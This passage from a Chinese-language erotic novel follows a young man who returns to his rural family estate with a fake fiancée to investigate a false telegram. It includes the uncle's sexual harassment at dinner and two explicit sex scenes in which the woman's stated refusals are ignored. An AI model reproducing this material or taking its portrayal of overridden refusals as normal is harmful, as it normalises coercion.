
“哥哥,不要再丢下琴美一个人…”

走出房间时琴美对我恳求,我只能默默点头。

妹妹确实并非病危状态,我越来越在意电报的事,假设是有人故意恶作剧,那么是谁呢?东京的友人中,没有人知道我的过去,家中的人与村里的邻居,都不可能知道我的住处,既然如此,是谁?又为了什么?

也许因为安下心的缘故,我开始对电报的事不着边际地思索。无意间,我发现长谷川挡在我的前方,以地狱使者般的冷酷眼神,俯视着我。

“你见到琴美小姐没事,已达到目的了?”

毫无昂扬顿挫的声调,他好像想尽快将我赶出去。其实我也压根儿没有长居此处的打算,可是,这男人为何把我当成瘟神?司机时代的他,是个沉默寡言的好人,我不在的期间,这里一定发生了些什么事!

“算是吧,静子呢?”

“她出去了,暂时不会回来!”

电报的寄信人是静子叔母,我原本期待能从她那儿找到些蛛丝马迹,可是她却不在就没办法了。

“总之,晚餐准备好了,请到餐厅去吧!”

煞有介事的态度。我耸了耸肩,再度向大厅走去。

——————————————————————————–

第二章

茉莉香

来到餐厅后,茉莉香已在那儿等我。

“俊彦,怎么这么慢?”

“嗯…有一点事延误了,怎么不进去?”

“因为一个人会不安嘛。刚才小望也问了我一大堆事,我想应该没穿梆…”

我有点着急起来,如果茉莉香是假未婚妻的事穿梆了的话,真不知该怎么面对长谷川?总之,先进去餐厅再说说。

二十张榻榻米左右大小的室内,坐着叔父神田康之及两个小孩,晋吾与小望兄妹。澄江往返在厨房与餐厅之间,默默准备晚餐。

一踏入室内,叔父就先开口。

“唷,俊彦,真是好久不见,看来过得不错嘛!”

“好久不见了,托您的福,我过得还可以,大家也都很健壮嘛!”

“还好还好,儿子和女儿很健壮,我的小弟弟更健壮,哈哈哈!”

叔父好像很满意自己开的低级玩笑,开始咧嘴大笑。当然,笑得出来的只有他一人,茉莉香甚至明显的露出厌恶的表情。

“可是,是谁寄电报给我的呢?还写说琴美病危?”

“琴美病危?开玩笑也该有个限度,我不晓得,有人知道吗?晋吾?小望?”

神田兄妹异口同声说不知道,大概真的是恶作剧吧?

“是吗?不过,寄信人的姓名写着静子叔母的名字…”

“她今天不在,晚上不会回来,等她回来你直接问她吧!”

我心中纳闷着,在餐桌旁坐下,茉莉香也坐在我隔壁。

“那些先不管,听说你今天带着未婚妻凯旋归来是吧?这位就是茉莉香小姐吧,真是大美人哪,不错嘛,俊彦你真有两把刷子!”

在我介绍茉莉香,说明近况的时候,叔父也同样笑容满面,偶尔插嘴说个无聊的笑话,一个人自得其乐。和兴高采烈的康之叔父正好相反,餐桌上的气氛越来越尴尬。

不只中年而已,已经开始进入衰老期的叔父,个性就和他猥亵的肥油容貌如出一辄,我从没见过如他这般能令每个人都不愉快的人。

“不过啊,你的工作又顺利,而且还找到个美女未婚妻,虽然我不知原因,可是你离家出走还满有代价的嘛!”

哪壶不开提哪壶。看着不吭声的我,小望畏畏缩缩地插话。

“爸爸,差不多该开饭了啦!”

小望和琴美同年龄,从小两人长得就很像。我离家前还不大的小望,只要学校连休都会来玩。她和琴美不同,总是朝气蓬勃,常常跟我去风景写生,自己也会胡乱涂鸦。

坐在旁边的晋吾,应该已经蛮大了。和我家相反,神田家好像哥哥比妹妹心思细密,金属框的眼镜与遗传自他母亲的尖下颚,给人神经质的感觉。他一言不发,只用眼角不停瞄着四周,似在思考什么事的样子。

“爸,吃饭了啦!俊兄,不,俊彦先生他们一定也饿了…”

“啊,是我不好,歹势啦,开饭吧!不要客气,尽量吃吧,喂,澄江,多端一些菜出来!”

澄江做的家常料理极为美味,可是一看到叔父的样子,我和茉莉香就不太大胃口。

“怎么了?澄江做的菜不合口味吗?”

“不,非常好吃!”

“那就多吃点吧,反正,今天晚上你要好好享受一番吧!”

享受什么?我一出口就后悔了,提出问题无外乎火上加油,这是很容易想像得到的。不用说,叔父露出满面下流的笑容,开始喋喋不休。

“在这荒郊僻野中说到享受,当然只有一件事,不用说也知道是打炮吧!喔,这句话是从哪学来的呢?最近年轻人说的名词真是越来越有趣了!”

“叔父!”

“害什么羞啊?你们有婚约在身,做这种事是正常的啊,对吧?茉莉香!”

茉莉香不理他,他居然问出更难堪的问题。

“对了,你们平常喜欢用什么体位办事?”

“在晋吾和小望面前说这种事,不会不好意思吗?对茉莉香也很失礼吧!”

“你想说我性骚扰吗?我家这两个孩子你可以不必担心,他们都已经不是小孩了,况且现在都市里的年轻人,不都流行什么援助交际吗?早就进入自由性爱的时代了;茉莉香在认识俊彦之前,和几个男人睡过呢?”

叔父依旧淫猥地笑着,一副挑

的态度。我的拳头在餐桌下不觉中握紧,这时茉莉香的手盖了上来。

“我…三个人,和三个男人睡过,我本来就没打算隐瞒,所以你对我有什么看法那是你的自由。”

她这番逼不得已的发言,让我为之一惊,浑身僵直。

“哇哈哈!真是个诚实的好女孩,太棒了太棒了。俊彦,这种女人你打着灯笼也找不到,别说三个月后,我现在就举杯祝福你们!”

叔父愉快地咧嘴大笑。看到他的笑脸我就起鸡皮疙瘩,浑身不快。老实说,我恨不得立刻就飞奔出这屋内;既然确认了妹妹没事,加上考虑到伪称茉莉香是未婚妻这件事,再待下去也没用;而且,叔父下流无耻的言语,更叫我无法忍耐,我甚至认真考虑是否干脆带茉莉香走路到邻村,但我之所以没这么做;是因为她对叔父毅然采取了对抗的姿势,我既然让她淌了这趟浑水,就有义务照料她。至少在明天早上一起离开之前,我绝对会彻底保护她。

澄江所做的美味料理,很可惜的被迫吃来索然无味,终于晚饭的时间告一段落了。

“俊彦,这里是你的家,你爱待多久就待多久,今晚就伸长你的大棒子,狠狠地把茉莉香搞得欲仙欲死吧,哈哈哈!”

叔父最后不忘再开个下流的玩笑,走出了餐厅。紧接着,神田兄妹也由椅子上站起,小望看着我,似乎有话想说。

“呃,俊彦先生,那个…下、下次请再教我画画…”

“啊,当然好!”

“哇,谢谢!”

愉快地微笑的小望身旁,绷着脸的晋吾小声开口。

“小望,走了,用功时间到了!”

“唔…好,俊彦先生,茉莉香小姐,我先走了!”

扭扭的兄妹离开后,澄江对我们说道。

“两位的房间,就是刚才带领茉莉香小姐前去的那间。”

“嗳?我们住同一间吗?”

“是的,是那间吾襦之间。康之先生嘱咐说那间最适合。”

可恶的康之叔父!我在心中破口大骂。吾襦之间,是用来接待新婚客人的房间。

“还有,他说,棉被只要一条…”

“真的太…”

我被叔父周全而恶劣的计画气得目瞪口呆。他好像无论如何都要我和茉莉香结合,我瞄了瞄身旁,却得到意外的回答。

“我不在意…”

等一下,但是我在意,我不知道她怎么想的,但一切都被叔父玩弄在股掌之间,令我相当抗拒。可是话说回来,一想起那个夏夜,我又不愿意回我以前住的房间一个人睡。

迷惑了一阵子,为了必须住在素不相识的家中的茉莉香着想,我决定目前还是和她在一起较好,而且,经过长途旅行后也感疲累,想早点休息。

婉拒了澄江的带领,我带着茉莉香离开。在走向吾孺之间的路上,茉莉香频频偷瞄我的脸。站在我的立场,叔父的事令我感觉自卑,老实说,我实在不知该怎么面对这一切。

“俊彦…呃,那个…你会…你会看不起我吗?”

忍不住先开口的,是她。

“我怎么可能看不起你?正好相反,康之叔父说得那么过份,而你一步都不退让。换成别人的话,不可能有勇气采取那样毅然态度的!”

我说的是真的,过去怎样都没有关系!而且,虽相识不到数小时,但我认为,她不是个会在别人面前淡然说出那种话的女孩,她摆明了与叔父对抗的精神,赢得了我的好感。

“甚至可以说我很尊敬你。这里就是吾襦之间…”

八张榻榻米大的房间中,如澄江所说,只放有一件棉被。我们适当地摆放行李,互相背对着换穿准备好的浴衣,穿了宽松的浴衣,我们的心情也变得舒坦。应该是的,可是实际上即使内心想放松,却反倒浑身不对劲。

“你怎么了?轻松一点嘛!”

“你才是呢,好像很紧张的样子。”

“我干嘛紧张啊?”

“我哪知道?可是看起来就很紧张。”

“哪有啊?那个,你今晚准备怎么办?啊,别误会,我不是那个意思。

“我知道,你不是那种男人。”

轻声低语中,似乎蕴藏了某种涵意。我多少有些在意,但追问的话会很尴尬,还是算了。看到她若有所思的表情,我只能沉默不语。

凝重的沉默,这气氛和吾襦之间一点也不相衬。虽然我们这对假未婚夫妻待在这房间里这件事,本身就很奇怪。

只是我压根儿没想到,吃完晚饭后会这样闲得发慌。叔父的戏言横过我的脑海,我在心中对他摇头拒绝。

要说些什么才行,可是,这回先开口的又是茉莉香。

“俊彦,要不要去散步?到中庭走走,转换一下心情吧!”

“啊,好啊,当然好,赞成!”

煞有介事地一搭一唱后,她总算恢复了平日的笑容,我们从露台走出中庭,以轻松的脚步闲晃在夕阳面下的庭园中。

“这庭院真是大,好羡慕!”

“在这里,庭院的大小一点也不稀奇,周围的山野全都像自家的院子。”

“所以才更让人羡慕啊!”

“是吗?我住在东京三年,总觉得住得比这里习惯,大概是比较合我的个性吧。当然,饮水是差多了!”

中庭的尽头,有一栋古老的大仓库,我们在仓库前折返。

“不愧是历史悠久的家族,连仓库都这么大,里头该不会是座宝库吧?”

“开什么玩笑,成天做白日梦的女大学生,你电视看太多了。”

“嗳∼太过份了,把我说成那样!”

茉莉香稍微嘟起嘴,却似乎并不是真的生气,马上就又咯咯地对我笑。她八成是想把晚餐时的不快感一扫而空吧。

“可是,我还是不能理解你为何丢下这里不管,跑到东京去…”

不能理解?是啊,常人都不会懂的,但是,在某个意义上来说我并非常人。不,不只有我,这个家的人,还有这村子里的人,我想大家都非常人。

“我啊,从以前就和他人有些不同,告诉过你我父母均殁的事吧?其实死去的母亲,在我心目中是有两个完全不同的形象的…”

我想起母亲的身影,虚空的眼神望向远处。

生了我之后,母亲就时常卧病在床,由于病情一直没有好转,所以连我这个儿子都很少在她身边。照料母亲的工作由父亲扛起,我则多被澄江的父亲高野先生及长谷川先生带去游玩,因此对双亲的记忆相当模煳,小学一、二年级之前的事,几乎没有记忆,因为连全家福的照片都不曾拍过。

但是从生下妹妹琴美之后,情形有了大转变,妈妈恢复了健康,每天都带我和琴美去散步,我们仿佛要填补以往亲子交流的空白一般,母子间无所不谈,而且,一家人全心全意地,疼惜着宛如代替母亲生病的妹妹。

基于同为苦命人的亲切感吧,我啰哩啰嗦了一大堆。这种话我从没对人说过。茉莉香也不发一语,默默地凝听。

边说话边漫无目的地散步的我们,不知何时已来到别馆前。

“这里是什么地方?”

“是别馆,以前母亲身体不好时在这里养病。现在…养病的人是妹妹…”

出乎意料的,这时从别馆的方向听见了奇特的声音。竖起耳朵听,似喘息又似低吟的声音,断续地从屋内传出。

“这是什么声音?琴美?是琴美?”

“嗳?”

“是琴美不会错,她在呻吟吗?”

我想确认别馆里面的情形,于是向着门口接近。这时,刚才并未看见的长谷川,就挡在我的眼前。

“长谷川先生,你来得正好,琴美好像在呻吟…”

“你晓得的吧?琴美小姐的病情我们交由澄江负责!”

“这是什么话!赶快让我进去!”

“如你所知,我们有医学方面的完善准备,外行人没有插手的余地。”

长谷川仿佛一座巨大的岩山一般阻挡在前。这回没有茉莉香的助阵,我充分体会到有如青蛙被毒蛇盯上的心情。互瞪了一会儿后,也许澄江在里面医治琴美吧!没有再听到声音了。

“回你的房间去!”

长谷川以严厉的口气要求我,我无可奈何,只得顺从。

回到客房后,茉莉香歉疚地看着我。

“那个,刚才对不起,你在别馆门前,我没办法…”

“不,他说的没错,我这个外行人根本帮不上琴美的忙。”

“没这回事,有很多事是非你不能办到的,你能为琴美做的事太多了!”

“是的话就好了!”

虽这么说,但我很怕见到琴美痛苦的表情。她的病情,主要原因不在肉体因素,而在于精神方面异常所引起。一旦情绪崩溃,会引发高热与气喘发作,严重的时候甚至会吐血。每次见到琴美的病状,我就心如刀割。我比谁都喜爱疾病缠身的妹妹,好想要就此永远待在她的身旁,一辈子都能照顾她。

正因如此,正因如此,我不能逃避!

“喂,俊彦?你没事吧?”

茉莉香看我闷闷不乐,想为我解愁。

“这种时候就要喝点小酒。来,喝吧!今晚喝个痛快!”

她从行李中取出酒瓶,将琥珀色的液体注入矮桌上的酒杯,我在一旁茫然望着她的动作。

“来,干杯吧!”

反正棉被只有一条,喝个通宵也不错!

我大口喝光杯中的白兰地。

过了多久了?酒瓶中已经一滴不剩。

茉莉香呆滞地笑着,醉醺醺的样子一目了然。

“辣个咧,偶跟里讲喔,喂,里有没有听偶唆啦?”

醉得口齿不清也是当然,她大概喝了比我多一倍以上的量。

“小彦啊!里甘有在听偶讲话啦?”

“在听啊,可是你先把衣服穿好啦!”

“啥米?里唆偶的衣胡怎样啦?”

“浴衣没绑好,看到内裤了!”

“哇哈哈哈!里浑讨厌喔,小彦速色鬼!”

茉莉香毫不介意,开始狂笑。我的眼晴不知该往哪看,但还是忍不住偷看一下她零乱的浴衣间裸露出的,微微泛红的肌肤与纯白的内裤。

“虾米?里怀在偷看?忍赖不自了速吗?”

说的话越来越让人听不懂,最后一句已经不知道在说些什么了,可是她想说的话,正中了我的内心。

“少废话,我也喝醉了,当心我藉酒装疯霸王硬上弓!”

“哈哈哈!辣里就四四看啊。”

“你以为我不敢吗?”

她可能只是说笑罢了,可是我不吃那一套,上下的头都血脉贲张,我抑制不了自己,身体比意识更快采取了行动。

我把轻喊一声“呀!”的茉莉香压倒在棉被上,解开已松弛的衣带,抓住零乱的浴衣啪一声左右拉开,丰满的胸部,展露在我的眼前。血色鲜嫩的肌肤显得微微润红,是喝了酒的关系吧?粉色花瓣的中心,硬挺高涨的乳尖向上突起。

“俊彦,温柔一点,呀…”

低声的呢喃,是清醒的声音。

“怎么,不是醉了吗?”

“你醉了?醉了才做这种事?”

我?我怎么了?我想做什么?扪心自问的我,被一双朦胧的瞳孔凝视着。

“我,就算是也无所谓…”

“为什么?”

“别管,快来吧!”

那是甜美又无奈的诱惑。这一句话,让我的感情瞬时高腾,我紧搂住那魅惑的肢体,在光滑的肌肤上舞动我的指尖。

我直接感受着双十年华女孩的体温,放肆地蠢动双手。无意识但真实地,十只手指宛若个别的生物般蠕动,一面揉搓浑重的玉乳,一面转动着那颤抖的乳尖。

“啊,噫,呀∼不要光无摸胸部…”

我顺从茉莉香的哀求,将右手离开胸部,沿着平滑的曲线向下滑去,越过肚脐,到达蕾丝装饰的薄布上。

一边压着充满弹性的下腹部,一面把手指探入内裤的间隙中,触

到茂密森林的前端。在柔毛的树丛上划着圆爱无后,再往下方探去,即刻抵达热烫柔肉上的秘缝

“嗯…啊啊…嗯啊,啊啊啊啊…唔…”

我的右手持绩着内裤中的秘境探险,茉莉香的口中也开始吐露出湿热的喘息。当然,我的左手也不停止上方的爱抚玩弄,嘴唇和舌尖同时对胸部及乳尖进行吸舔的进攻,而且,因刚才略为粗暴地抚弄她最敏感的部位,茉莉香的身体开始产生诚实的反应。我的右手指尖,已被渗出的爱液沾得湿湿滑滑的。

“茉莉香,已经这么湿了!”

“唔啊,不要说了!我已经,快要不能忍耐了!”

“喔?快要高潮了吗?”

“不是啦!你,你很坏耶!”

我并非装蒜,也不是想让她焦急,纯粹只是判断错误,反而我自己着急得不得了,一抱起她的上半身,就尽情地用力由背后掴住那柔软丰满的胸部。

“啊!好痛∼俊彦,好痛∼”

在陷入柔肉的指间,清楚地感觉到坚挺的突起更加变得紧绷涨大,我胡乱地继续舞动我的十指。

“拜托,拜托你,赶快插进来…赶快进来我的体内…”

我唿吸纷乱点点头,拉下她覆盖下腹部的薄布,然后将我的内裤中暴跳而出的男很,抵在裸露的湿濡秘部上。

“啊啊!好热,好热!俊彦的…嗯啊,啊,好热!”

事实上,我根本没有女性经验,完全不清楚这时候要怎么做才好。一昧蛮干的结果,根头只在秘缝周围空转,始终无法抵达目的地。

“啊,不要让我焦急…唔…或者,你是第一次?”

我没回答,心无旁骛地压进男根。茉莉香有些看不下去了,右手温柔地帮忙着我高翘的巨棒。我的分身受到新的刺激而抽搐,跟随着引导,潜入湿漉漉的裂缝之中。

“唔!俊彦的好大…啊,啊啊啊!好粗∼!”

“茉莉香的体内好热,热得快要溶化了,而且,滑熘的感觉爬上来了,好,好舒服!”

因酒与悦乐而身体热烫的茉莉香体内,仿佛灼热的火炉,我也沉醉在酒精与初次的交合之中,意识渐趋朦胧,可是下半身却继续贪婪地追求快乐,不停激烈跃动。

“唔啊!怎么,突然…唔唔唔∼!!不,不行!!”

茉莉香痛苦似的像要挣脱,不断扭动身体。她每一扭,肉壁与柔唇就更夹紧深埋其中的肉棒,麻

的快感疾驰过我的背部,所以我更加激烈重复自我任意的粗暴抽送。每回突刺、扭转、摩擦,结合部位就噗滋噗磁地传出淫靡的水声,高潮的界线,就差一点了

“唔唔…要出来了!!”

“不,不要!不能射在里面!!俊,俊彦!要射的话,要在外面!”

茫然听着茉莉香大叫的我,急忙想抽出肉棒,可是拔出的动作却无法配合上抽送的节奏,结果,我的男根一边强烈地射精一边抽出体外。

“唔哇!?里面,里面不行∼!!”

我听到了她的狂叫,感觉上却像远处的声音,在内外都放出大量精液的我,和茉莉香互相依靠着,躺进棉被中。

“呜…呜呜…太过份了,我说过里面不行的…”

“对不起,我…是第一次…因为太舒服了,所以…这个…不知所措,来不及…”

说出一堆丢脸的借口,小弟弟刚才的威武也消失了,缩得小小的,无力地垂流出剩余的白浊汁液。

“而且,只有你一个人高潮,人家还没…”

“对不起,真的对不起,我…”

“算了,晚安!”

说完这句话,茉莉香就拾起散落一地的浴衣,套进头上。在我看来,这简直就是未婚妻游戏结束的宣告。

我痛责、厌恶起自己。没办法,只有走离她的身旁,然后只能蹲在房间的一角,等待黎明到来。

杵在墙边醒来的我,身上不知何时盖了件毯子。

我想是茉莉香盖的吧?将目光移往棉被的方向,她已经不在那儿了,浴衣也整整齐齐地叠好。她大概比我先醒来,而且也盥洗完了。

一阵清爽的微风拂过房中,太阳也已高高升起,墙上的时钟指着9时的方向。我伸了个懒腰,从毯子中爬出,四处张望,茉莉香已经不在了吗?

想起昨夜的失态,我又垂头丧气。

我的初体验对像

茉莉香,她现在大概很讨厌我吧?原本我们之间的关系,就只不过是昙花一现的恋情罢了。

恋情?我迷恋上茉莉香了吗?所以才和她做爱?那么,这表示情和性能够划上等号吗?只要是恋爱中的男女,性爱都能被正当化吗?假设是的话,那么比情更上等的爱呢?只要是与你爱的人,只要两人相爱,结合是理所当然的吗?

我爱的人是…我,我所爱的…

“早安,俊彦少爷!”

听见问候声,我抬起头一看,澄江正跪在走廊上。

“早餐马上就准备好了,请您到餐厅用餐!”

她一夜未安眠,却不改严谨的态度,仿佛把自己关入名为佣人的笼牢之中。 “澄江姐,拜托你,像以前那样说话好吗?我觉得现在好生疏喔!”

“我…我已经不是以前的澄江了,我现在是佣人的身份…”

我完全不知为何她会如此顽固。

我唯一可以确知的,就是在我离家的这段期间内,一定发生什么事改变了澄江,仅此而已。

“你有什么烦恼吗?只要我办得到,一定会尽力帮你。”

澄江显得沮丧,看来她有烦恼的事应该是可以确定的。可是我也不能恣意探听她的隐私,只能等待她自己说出来,她真的会对我告白一切吗?

“可是,俊彦少爷会回东京吧?”

我诅咒起自己的愚昧。变了的不只是澄江而已,我自己不也和以前完全不同吗?

“对不起,我说了不负责任的话。”

“请您不要介意。”

我们之间被凝重的气氛支配着,从昨天开始就一直如此,回来果然是错误的决定吗?如果没有那封电报的话…

“澄江姐,昨晚琴美好像很难过吧?可是,我什么都不能做,就算在这里也帮不上琴美的忙,所以,我想至少能帮忙一下别人!”

这是我的肺腑之言,可是听起来却像在说谎一样。

“啊,不,抱歉,当我没说好了,不敢面对一切而逃跑的我,现在说什么都缺乏说服力,琴美就麻烦你了。”

“我知道了,那么,我要到餐厅去了,俊彦少爷也请到餐厅用餐。”

五分钟后我到了餐厅,却没有别的人在,大概因为睡晚了,其他人都用过餐了吧?总之,先等等澄江吧。

对了,茉莉香到哪去了呢?难道她还在生昨晚的气,先离开了吗?若是如此,那么未婚妻的事说不定会被揭穿,孤立无援的不安与焦躁,阵阵刺痛着我的胃。

“俊彦!”

凶悍的声音传来,害我吓了一跳,回头一看,静子叔母回来了。

性感的体态,全身穿着华丽的名牌时装,三十六岁的叔母依然青春美丽,说她才二十多岁也没有人会起疑。我不称唿她“静子叔母”而直接叫她“静子”,就是这个原因。

静子和长谷川在一起,看来刚从外面回来。由两人的表情判断,搞不好茉莉香的事已经穿帮了。

“你到底到哪儿去了?三年来连一点消息也没有!哥哥还拜托过我要好好照顾你和琴美耶,可是你真不听话!而且听长谷川说,你好不容易出现了,结果还带未婚妻回来是吧?”

果然开始了,我早就有心理准备。

“你是高木原家的继承人,不应该随便带个来路不明的小女孩回来,就突然说要结婚吧?对方身家清白吗?不是别有目的才对你示好的吧?是不是?”

“我…不大懂你的意思…”

“我在问你,她是不是窥伺家里的财产!”

静子一口断定。我在心中盘算了一下,看样子静子认为茉莉香其是我的未婚妻。

“茉莉香不是那种女孩,家里的事,在来这里之前我从未对她提起过…”

说到财产,我们多少还有一些金钱,以及土她和房子。但我不认为有人会对这种穷乡僻壤动歪脑筋。

“真的?可是,也太突然了吧?至少事前应该连络一下不是吗?因为我们连你的住处都不晓得…”

“不晓得我的住处?不是你寄电报给我的吗?”

我对她说明电报的内容及发信人的事。

“我没发什么电报,也没叫人发,而且,也绝不可能开琴美病危这种恶劣的玩笑!”

静子断然否认,她看起来不像在说谎,我也想不出她有说谎的理由,那么,那封电报到底是谁搞的鬼?

“那么到底是谁呢?”

“我才想问你呢,总之,我才刚出差回来,待会儿再好好谈谈吧!”

静子说完后,就和长谷川一起走出餐厅。

电报究竟是谁发的?与我、琴美,还有高木原家有关系的人,应该已经没有了才对。高木原家,原本就是亲戚极少的家族。

我陷入沉思,突然听到背后传来一对男女的声音。

“唷!俊彦,早啊!”

“早安,俊彦!”

是茉莉香和叔父。我看到她就安心多了,以致没想到会自掘坟墓…

“醒来时没看到你,还以为你一气之下跑掉了。”

“喔?你惹她生气了吗?该不会是无法勃起吧?情侣会在一夜间突然不和的原因,除了这个不会有别的,哈哈哈!”

弃械投降和没法勃起,没多大的差别吧!康之叔父的推理,严格来说也是对的,我只能怨恨地瞪着他。

“俊彦不是那种人喔,叔父。”

茉莉香说道,我一下子目瞪口呆,现在是什么状况?我还以为茉莉香和叔父之间水火不容呢!

“那么,来吃饭吧。小鬼们去学校参加暑期辅导了,我和茉莉香等你起床等了好久…”

我们随意围在餐桌旁,走出厨房的澄江正在摆放餐点。

“俊彦,今天天气不错,你们两人可以去山泉玩玩。”

“你是说姬御前之泉吗?”

“嗯,对对,那里是最适合带小女孩去的地方。那儿连村里的人也很少去,可以打野炮打到爽,哇哈哈哈!”

我对叔父的无耻下流,已到了不耐烦的地步。可是,茉莉香却和昨晚不同,只是淡然地当做没听见,我对茉莉香适应环境的能力之高感到讶异,于是决定效法她。

“我今天打算和静子聊聊。”

“和静子?免了啦,要聊随时也能聊不是吗?先去泉边玩吧!年轻不要浪费时间,俗语不是说少壮不打炮,老大徒伤悲吗?哇哈哈哈!”

叔父又说了无聊的笑话,热心地劝我们到溪边去。

“你和静子之间怎么了吗?”

我觉得有趣,装着漫不经心地发问。我以前就晓得他们夫妻间感情不好,他们两人在一起,任谁看到都会觉得不搭调吧!据传闻,静子是被她父亲,也就是我祖父,硬逼着嫁过去的。

“我的事你别管,去做你们该做的事!”

叔父面不改色,口气却显得不悦。我想追问的时候,茉莉香却意外地声援叔父。

“那座山泉很漂亮吗?我好想去喔!”

“你看吧,茉莉香想去。你们两个去痛快地爽一爽吧!”

援军开到,叔父又开始嘻皮笑脸。我不自在地看着这两人,心想要想个适当的借口脱身,而且,我还惦记着一件事,对,电报的事,到底是谁,寄给我有什么目的呢?和静子好好谈谈的话,说不定会发现些蛛丝马迹。我觉得应该不会错。

“但是我必须回东京,所以想快点和静子讨论这件事。”

“啊,可是,稍微再打扰一阵子也不碍事吧?”

她这句话的意思,我花了三十秒才理解。心中至少重复她的话六次之多吧?总算了解她的意思后,却不如该怎么回答。

“其实,我刚才一直都在中庭散步,然后我深深感受到,这里真是个山明水秀的好地方啊,总觉得急着赶回去真是太可惜了!”

“怎么样?俊彦?”

叔父夸耀胜利般说道。不过,如果要留下,她就必须继续伪称是我的未婚妻,那样太冒险了,但是她似乎完全明了这一点。

“是吗?说得没错,可是我还有工作…”

“嗳?再一个礼拜没关系吧?不然三、四天也好,你偶尔也要疏松一下筋骨,每天都忙于工作的话,身体会吃不消的,好吗?”

我完全不知如何回答,要是周围没人在的话,我应该会立即询问茉莉香其正的用意何在。突然,静子的话在我脑里闪过。

茉莉香,在窥伺家里的财产吗?怎么可能?不会吧?

“小姐说得对,你就待一阵子吧,还没和琴美好好聊聊天吧?昨天我也说过,这里是你的家,不必介意任何人!”

叔父看着始终拒绝不了的我,对我劝诱。表情仍然是一贯的嘻皮笑脸,但声音却有着令人不可抗拒的魔力。

“可以吗?”

在茉莉香和叔父这对怪异的搭档面前,我一步步被逼得竖起白旗。

“这个…两、三天的话…”

“真的!?俊彦,谢谢!那么,我们赶快去山泉玩吧!”

茉莉香像小学生般兴奋,但好像有种空虚的感觉。

“俊彦,你该不会有什么心事吧?难道,你不想和茉莉香在一起?”

就像昨天我和茉莉香指责长谷川一样,这次换成茉莉香和叔父把箭头指向我。都被这么说了,我也不可能不答应。

姬御前之泉,在爬上陡峭山路二十五分钟后到达。

我们默默无语地走了十五分钟,对我而言,我不喜欢她反过来和叔父联手。敏感的她,似乎也察觉到了,可是我还是很想问她到底打算怎样。

“你想问什么就说啊!”大概耐不住沉默吧,茉莉香突然开了口。

“我真的是很喜欢这里,所以…也知道这么做对不起你,可是我想再待几天…”

“被叔父灌了迷汤吧?”

“才不是呢!我们只是聊了一下,我还想说,来这里玩刚好能够不用看见他…”

“那么也可以和我在这里做罗!”

茉莉香停下脚步,正面盯着我的脸。

“你在开玩笑吗?你真的认为我是那种女人?”

“我没办法不这么想,我因为昨天的事心情沉到谷底,你却还…”

“那是你不好吧!色男本性完全毕露,做爱也只顾到自己的感受,而且我都说了要射在外面,你还在射在里面!!”

被她不留情面地批评,但我无法反驳。

“如果因此怀孕的话,你要负责任耶!”

最后一句话,我想多少带有开玩笑的成分,因为我看见了她因自己的语气而忍俊不住的表情。她也意识到这一点,话没说完就急忙跨步向前走。

看来茉莉香的心情没有想像中来得差,我总算松了口气。

“哇!这里就是姬御前之泉啊?好漂亮!没想到这么大,这不只是山泉,根本是个大湖嘛!”茉莉香一面注视泉水一面赞叹。

“好美…泉水清澄见底,最适合拍外景了!太棒了,原来日本也相当辽阔嘛!竟有这种电视或杂志都没介绍过的好地方!”

这座山泉有个传说,据说发绪岳村的拓荒者,平家的落难武士们,为躲避源氏将军的讨伐,决定献上祭品以祈求山神的蔽护;说到祭品,不用说当然是年轻美貌的女孩,那时被选中的,是首领的女儿,名叫高木原伊吹,是我的祖先。后来她好像受到山神召唤而投身海中,所以前方的伊吹海峡,以及发绪岳这座山的名字,都是为纪念伊吹而命名的。还有,在她跳海前沐浴的场所,就是这片姬御前之泉。

“这里的美,八百年来都没变,据说这片泉水是永远映照出成为祭品的伊吹公主之美貌的明镜,永不停滞或枯竭,对村民来说,是最神圣的地方。”

茉莉香对我的话似乎很感兴趣,眼中闪烁着光芒凝视着我。

“哗∼所以才不让外界知道姬御前之泉的存在吧,可是,我这个外来客到这地方来,可以吗?”

“有什么关系?又不是来污染泉水的!”

“呃…我顺便带了泳装来…”茉莉香拍了拍挂在肩上的包包说道。

“别担心,我和琴美以前都常来游泳,琴美还曾经在水里尿尿呢,所以有人说她身体不好是偷尿尿的惩罚,不过其实是天生体弱多病的。可是,你为什么带泳装?”

“因为…我想玩水嘛,要裸泳才行吗?”

“不是那个意思,我是问你携带的目的,如果没

到我的话,是要去海边玩吗?”

“哎呀,泳装在山上也是必需品嘛,到了河边、湖边、温泉都用得着,这里不也是吗?”

我有点佩服地看着茉莉香,生活在这喘息于人与人之间充满摩擦和隔阂的社会中,她这种主动进取的生活态度值得当大家的典范。

“我到那边的树丛换衣服,稍等一下,不准偷看喔!”

茉莉香眨眨眼,对我摇了摇食指后,小跑步到附近的树丛里去。

她换上双色的高叉泳装,踏入冷澈的泉水中。

“唔哇!好冰∼好舒服喔!你也一起来嘛,很舒服的耶!”

“我又没带泳裤…”

“脱光就好了嘛,男生要遮蔽的地方那么少!”

“啊…”

“啊哈哈,你害羞了,好可爱!”

茉莉香笑了,她在波光闪闪的水面上溅起水花,与大自然嬉戏,她正是个适合户外运动的女孩,美妙的身影与周围的风景绝妙地调和。

我坐在树荫下,眺望着她绚丽的泳装姿态,撩起湿濡长发的模样,散发出仿佛西洋传说中泉之精灵般的妖精,好想有一天能以她为模特儿画张图,这种思绪在我心中涌起。

我不知不觉中被泉之精灵迷惑,感到情欲开始高腾,体内复苏起昨夜的感触,下腹部发出热量,长裤中开始硬挺跳动,品尝过茉莉香这粒美味果实的我,忍不住想要再尝一次。

“你怎么了,俊彦?”

发觉到我非比寻常的视线,茉莉香向我接近,‘我要吃了你’几个字几乎要脱口而出。

“俊彦?”

接续昨夜的狂情,我将她推倒,她注视着我,脸上尽是惊异之色,褪下她身上的无肩带泳装后,充满弹力的乳房怦然蹦现。

“我,看着你的样子,怎么样也无法忍耐!”

“俊彦…”

她的瞳孔中并无愤怒或拒绝的眼神,我只见到惊讶、害羞,和一点点的胆怯,这是我自己的解释。

昨晚和酒也有关系,而且我真的是第一次,一切仿佛在梦中,发生得大快,但是现在是清醒的,完全知道自己在说什么,在做些什么。

“我…我想抱你…”

“这种事,突然…”

“是你先诱惑我的!”

我卧在她身上,抚摸她湿透的肌肤,和昨日不同,是冷冰冰的感触,我的右手探求热度而攀上大腿,左手由大胆剪裁的泳装背部钻入腋下。

“啊,俊彦,不行…”

小得听不见的呢喃,像是欲拒还迎,她的身体比昨天还要更明显地有反应,配合着我的手而扭动身体,指示我下一个方向。

“嘴里说不行,身体却毫不抗拒唷!”

“我本来就没抗拒,只是,还没有心理准备…”

“那么,身体准备已经OK了吧!”

我一边用左手揉搓着茉莉香的胸部,一边将右手滑入泳装的胯下。

